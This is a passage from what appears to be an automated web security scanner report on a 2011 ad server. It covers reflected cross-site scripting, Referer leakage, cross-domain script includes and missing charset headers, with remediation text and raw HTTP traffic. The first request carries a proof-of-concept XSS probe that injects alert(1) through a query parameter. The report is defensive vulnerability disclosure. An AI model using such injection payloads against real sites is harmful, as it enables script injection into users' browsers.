Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/trb.wreg/hp;;ptype=sfltv;rg=ur;pos=Tltv;dcopt=ist;sz=1x1;tile=1;u=http://www.wreg.com/;ord=55468300?&ea6c5'-alert(1)-'3eb0db47e49=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.wreg.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Wed, 16 Feb 2011 13:18:41 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 393
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
GET /adi/N553.ticketmaster.com/B5107680.3;sz=300x250;click=http://ads.as4x.tmcs.net/event.ng/Type%3dclick%26FlightID%3d152284%26AdID%3d196680%26TargetID%3d41719%26Values%3d46,60,77,83,93,110,247,591,652,716,1487,2141,2210,6330,6551,7972,8297,8922,8964,9031,9041,9043,9051,9052,9053,9054,9055,9086,9088,9089,9105,9113,9117,9219,12482,15021,15973,20557,27707%26Redirect%3d;ord=bwjgdNl,bgvxrgrbagzf? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ads.as4x.tmcs.ticketmaster.com/html.ng/Params.richmedia=yes&site=tm&pagepos=502&adsize=300x250&page=home&dmaid=99999&bgcolor=ffffff&cceclassid=0&lang=en-us&tid=9928941811&tile=9928941811 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:38:59 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7867
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... <!-- Code auto-generated on Wed Jan 05 09:09:43 EST 2011 --> <script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script> ...[SNIP]... rve.com/r%3Ba.1%3Dp-54O-h3cYFO1Zc%3Ba.2%3Dp-57YrJDv5FLXqA%3Blabels%3D_click.adserver.doubleclick%2Ahttp%3A//www201.americanexpress.com/getthecard/learn-about/zync/37232%3Fextlink%3Ddb-gabmd-10Zync-MR"><img src="http://s0.2mdn.net/666472/amex_zync_backup_MR_v2_300x250.gif" width="300" height="250" border="0" alt="Advertisement" galleryimg="no"></a></noscript>
GET /adi/N553.ticketmaster.com/B5107680.5;sz=728x90;click=http://ads.as4x.tmcs.net/event.ng/Type%3dclick%26FlightID%3d152286%26AdID%3d196682%26TargetID%3d41720%26Values%3d46,60,77,83,93,110,247,691,711,715,1446,1487,2141,2210,3325,6330,6551,7972,8298,8922,8964,9031,9041,9043,9051,9052,9053,9054,9055,9086,9088,9089,9105,9113,9117,9219,10301,12482,13686,15021,15973,18780,20557,27707%26Redirect%3d;ord=cvqRijI,bgvxrssbbNty? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ads.as4x.tmcs.ticketmaster.com/html.ng/Params.richmedia=yes&Params.lifetime=-1&site=tm&pagepos=501&adsize=728x90&venuezip=&page=browse&majorcatid=10002&minorcatid=51&dmaid=99999&bgcolor=ffffff&cceclassid=0&rdc_select=n31&lang=en-us&tid=1383052049&tile=1383052049 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 7965 Cache-Control: no-cache Pragma: no-cache Date: Wed, 16 Feb 2011 12:42:58 GMT Expires: Wed, 16 Feb 2011 12:42:58 GMT Discarded: true
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... <!-- Code auto-generated on Wed Jan 05 09:29:29 EST 2011 --> <script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script> ...[SNIP]... .com/r%3Ba.1%3Dp-54O-h3cYFO1Zc%3Ba.2%3Dp-57YrJDv5FLXqA%3Blabels%3D_click.adserver.doubleclick%2Ahttp%3A//www201.americanexpress.com/getthecard/learn-about/zync/31033%3Fextlink%3Ddb-gabmd-10Zync-NonMR"><img src="http://s0.2mdn.net/666472/amex_zync_backup_v2_728x90.gif" width="728" height="90" border="0" alt="Advertisement" galleryimg="no"></a></noscript>
GET /adi/nfl.home/landing;s1=landing;slot=top;url=landing;nfl=ad;!category=;kw=;tile=0;test=;sz=728x90;ord=7385723802726716? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.nfl.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 13:18:44 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 4142
<html><head><title>Click here to find out more!</title></head><body style="margin:0; padding:0px; height:100%; width:100%; background-color:transparent;"> <!-- Copyright DoubleClick Inc., All rights r ...[SNIP]... <!-- This code was autogenerated @ Tue Dec 07 18:23:39 EST 2010 --> <script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script> ...[SNIP]... any.com/Shopping/CategoryBrowse.aspx?cid=669588&mcat=148207&omcid=ZZBA6&utm_campaign=Superbowl_XLV_Banner_Ad_Campaign&utm_medium=Banner_Ad&utm_source=NFL_Homepage&utm_content=728x90_300x250&utm_term="><img src="http://s0.2mdn.net/2991384/728x90_SBXLV_default.gif" border="0" alt="" ></a> ...[SNIP]...
The response contains the following link to another domain:
http://s0.2mdn.net/viewad/2619061/1x1.GIF
Request
GET /adi/x1.dt/dt;sz=1x1;ord=5400990? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.doubleclick.net/adi/x1.rtb/allstate/poem1;sz=300x250;click=http://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=;u=17177865;ord=5599727? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:37:50 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 404
<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><a target="_top" href="http://ad.doubleclick.net/click;h=v8/3ab0/0/0/%2a/q;221787599;0-0;0;45196477;31-1/1;35213258/35231076/1;;~sscs=%3fhttp://a.com"><img src="http://s0.2mdn.net/viewad/2619061/1x1.GIF" border=0 alt="Click here to find out more!"></a> ...[SNIP]...
The response contains the following link to another domain:
http://s0.2mdn.net/viewad/817-grey.gif
Request
GET /adj/trb.wreg/hp;;ptype=sfltv;rg=ur;pos=Tltv;dcopt=ist;sz=1x1;tile=1;u=http://www.wreg.com/;ord=55468300? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.wreg.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Wed, 16 Feb 2011 13:18:16 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 361
document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3ab0/0/0/%2a/s;44306;0-0;0;32845962;31-1/1;0/0/0;u=http://www.wreg.com/;~okv=;;ptype=sfltv;rg=ur;pos=Tltv;dcopt=ist;sz=1x1;tile=1;u=http://www.wreg.com/;~aopt=2/0/9b05/0;~sscs=%3f"><img src="http://s0.2mdn.net/viewad/817-grey.gif" border=0 alt="Click here to find out more!"></a> ...[SNIP]...
4. Cross-domain script includepreviousnext There are 6 instances of this issue:
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /adi/N553.ticketmaster.com/B5107680.3;sz=300x250;click=http://ads.as4x.tmcs.net/event.ng/Type%3dclick%26FlightID%3d152284%26AdID%3d196680%26TargetID%3d41719%26Values%3d46,60,77,83,93,110,247,591,652,716,1487,2141,2210,6330,6551,7972,8297,8922,8964,9031,9041,9043,9051,9052,9053,9054,9055,9086,9088,9089,9105,9113,9117,9219,12482,15021,15973,20557,27707%26Redirect%3d;ord=bwjgdNl,bgvxrgrbagzf? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ads.as4x.tmcs.ticketmaster.com/html.ng/Params.richmedia=yes&site=tm&pagepos=502&adsize=300x250&page=home&dmaid=99999&bgcolor=ffffff&cceclassid=0&lang=en-us&tid=9928941811&tile=9928941811 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:38:59 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7867
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... <!-- Code auto-generated on Wed Jan 05 09:09:43 EST 2011 --> <script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script> ...[SNIP]... </noscript>
GET /adi/N553.ticketmaster.com/B5107680.5;sz=728x90;click=http://ads.as4x.tmcs.net/event.ng/Type%3dclick%26FlightID%3d152286%26AdID%3d196682%26TargetID%3d41720%26Values%3d46,60,77,83,93,110,247,691,711,715,1446,1487,2141,2210,3325,6330,6551,7972,8298,8922,8964,9031,9041,9043,9051,9052,9053,9054,9055,9086,9088,9089,9105,9113,9117,9219,10301,12482,13686,15021,15973,18780,20557,27707%26Redirect%3d;ord=cvqRijI,bgvxrssbbNty? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ads.as4x.tmcs.ticketmaster.com/html.ng/Params.richmedia=yes&Params.lifetime=-1&site=tm&pagepos=501&adsize=728x90&venuezip=&page=browse&majorcatid=10002&minorcatid=51&dmaid=99999&bgcolor=ffffff&cceclassid=0&rdc_select=n31&lang=en-us&tid=1383052049&tile=1383052049 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 7965 Cache-Control: no-cache Pragma: no-cache Date: Wed, 16 Feb 2011 12:42:58 GMT Expires: Wed, 16 Feb 2011 12:42:58 GMT Discarded: true
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... <!-- Code auto-generated on Wed Jan 05 09:29:29 EST 2011 --> <script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script> ...[SNIP]... </noscript>
The response dynamically includes the following script from another domain:
http://s0.2mdn.net/879366/flashwrite_1_2.js
Request
GET /adi/nfl.home/landing;s1=landing;slot=top;url=landing;nfl=ad;!category=;kw=;tile=0;test=;sz=728x90;ord=7385723802726716? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.nfl.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 13:18:44 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 4142
<html><head><title>Click here to find out more!</title></head><body style="margin:0; padding:0px; height:100%; width:100%; background-color:transparent;"> <!-- Copyright DoubleClick Inc., All rights r ...[SNIP]... <!-- This code was autogenerated @ Tue Dec 07 18:23:39 EST 2010 --> <script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script> ...[SNIP]...
5. HTML does not specify charsetprevious There are 8 instances of this issue:
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
GET /adi/N553.ticketmaster.com/B5107680.3;sz=300x250;click=http://ads.as4x.tmcs.net/event.ng/Type%3dclick%26FlightID%3d152284%26AdID%3d196680%26TargetID%3d41719%26Values%3d46,60,77,83,93,110,247,591,652,716,1487,2141,2210,6330,6551,7972,8297,8922,8964,9031,9041,9043,9051,9052,9053,9054,9055,9086,9088,9089,9105,9113,9117,9219,12482,15021,15973,20557,27707%26Redirect%3d;ord=bwjgdNl,bgvxrgrbagzf? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ads.as4x.tmcs.ticketmaster.com/html.ng/Params.richmedia=yes&site=tm&pagepos=502&adsize=300x250&page=home&dmaid=99999&bgcolor=ffffff&cceclassid=0&lang=en-us&tid=9928941811&tile=9928941811 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:38:59 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7867
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]...
GET /adi/N553.ticketmaster.com/B5107680.5;sz=728x90;click=http://ads.as4x.tmcs.net/event.ng/Type%3dclick%26FlightID%3d152286%26AdID%3d196682%26TargetID%3d41720%26Values%3d46,60,77,83,93,110,247,691,711,715,1446,1487,2141,2210,3325,6330,6551,7972,8298,8922,8964,9031,9041,9043,9051,9052,9053,9054,9055,9086,9088,9089,9105,9113,9117,9219,10301,12482,13686,15021,15973,18780,20557,27707%26Redirect%3d;ord=cvqRijI,bgvxrssbbNty? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ads.as4x.tmcs.ticketmaster.com/html.ng/Params.richmedia=yes&Params.lifetime=-1&site=tm&pagepos=501&adsize=728x90&venuezip=&page=browse&majorcatid=10002&minorcatid=51&dmaid=99999&bgcolor=ffffff&cceclassid=0&rdc_select=n31&lang=en-us&tid=1383052049&tile=1383052049 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 7965 Cache-Control: no-cache Pragma: no-cache Date: Wed, 16 Feb 2011 12:42:58 GMT Expires: Wed, 16 Feb 2011 12:42:58 GMT Discarded: true
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]...
GET /adi/nfl.home/landing;s1=landing;slot=top;url=landing;nfl=ad;!category=;kw=;tile=0;test=;sz=728x90;ord=7385723802726716? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.nfl.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 13:18:44 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 4142
<html><head><title>Click here to find out more!</title></head><body style="margin:0; padding:0px; height:100%; width:100%; background-color:transparent;"> <!-- Copyright DoubleClick Inc., All rights r ...[SNIP]...
GET /adi/x1.dt/dt;sz=1x1;ord=5400990? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.doubleclick.net/adi/x1.rtb/allstate/poem1;sz=300x250;click=http://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=;u=17177865;ord=5599727? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:37:50 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 404
<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><a target="_top" href="http://ad.doubleclick.net/click;h=v8/3a ...[SNIP]...
GET /adi/x1.rtb/allstate/poem1;sz=300x250;click=http://bn.xp1.ru4.com/bclick?_f=TVvEagAOkEQK5YNH6l1iFg==&_o=15719&_eo=52786&_et=1297859691&_a=17087056&_s=44276902&_d=17174392&_pm=52786&_pn=17177865&redirect=;u=17177865;ord=5599727? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBQXyxasRbTcSgOseGlgeWxPXSDoy6jfIB7LnTixP454OTEgAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi0xNzAzMjg2MDA5NDcxMzkzoAH04JnsA7IBGXd3dy51bHRpbWF0ZWRzb2Z0d2FyZS5jb226AQozMDB4MjUwX2FzyAEJ2gFCaHR0cDovL3d3dy51bHRpbWF0ZWRzb2Z0d2FyZS5jb20vd3AtY29udGVudC91cGxvYWRzL3NtcF9wb3B1cC5odG1smAKQA8ACBMgC9uuKDqgDAegDuwLoA4YH6AOmA_UDAAAAxPUDAgAAAA%26num%3D1%26sig%3DAGiWqtxPbkdtwZ_SQ9F-8XSwfOnlxH88ag%26client%3Dca-pub-1703286009471393%26adurl%3D&_wp=TVvEagAOkEQK5YNH6l1iFspZfbhsrumz2GNDZQ&_nv=1&_CDbg=17087056&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAFC6BAEAAAAAeA8GAQAAAAAJHQYBAAAAAN8QBgEAAAAABrgEAQAAAADHNa9BAAAAAAAA8D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVFZ2RWFnQU9rRVFLNVlOSDZsMWlGZz09GwAAAAAAAABDQUVTRUk1RXNTa25VTUxhbnhPUmlGVTJ6YmcAAAAAAAAAAA8AAAAAAAAAMTczLjE5My4yMTQuMjQzBwAAAAAAAAAzMDB4MjUwQgAAAAAAAABodHRwOi8vd3d3LnVsdGltYXRlZHNvZnR3YXJlLmNvbS93cC1jb250ZW50L3VwbG9hZHMvc21wX3BvcHVwLmh0bWwPAAAAAAAAAF5HQ05eMTc0NzQ4NDUxMgMAAAAAAAAAMzE1BgAAAAAAAAAAAAAAAAAAAAAAAAAAa8RbTQAAAAA= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c708f553300004b||t=1297805141|et=730|cs=v3vpvykb
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 16 Feb 2011 12:37:47 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 2393
<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><IFRAME SRC="http://ad.doubleclick.net/adi/N5398.Xplus1/B51088 ...[SNIP]...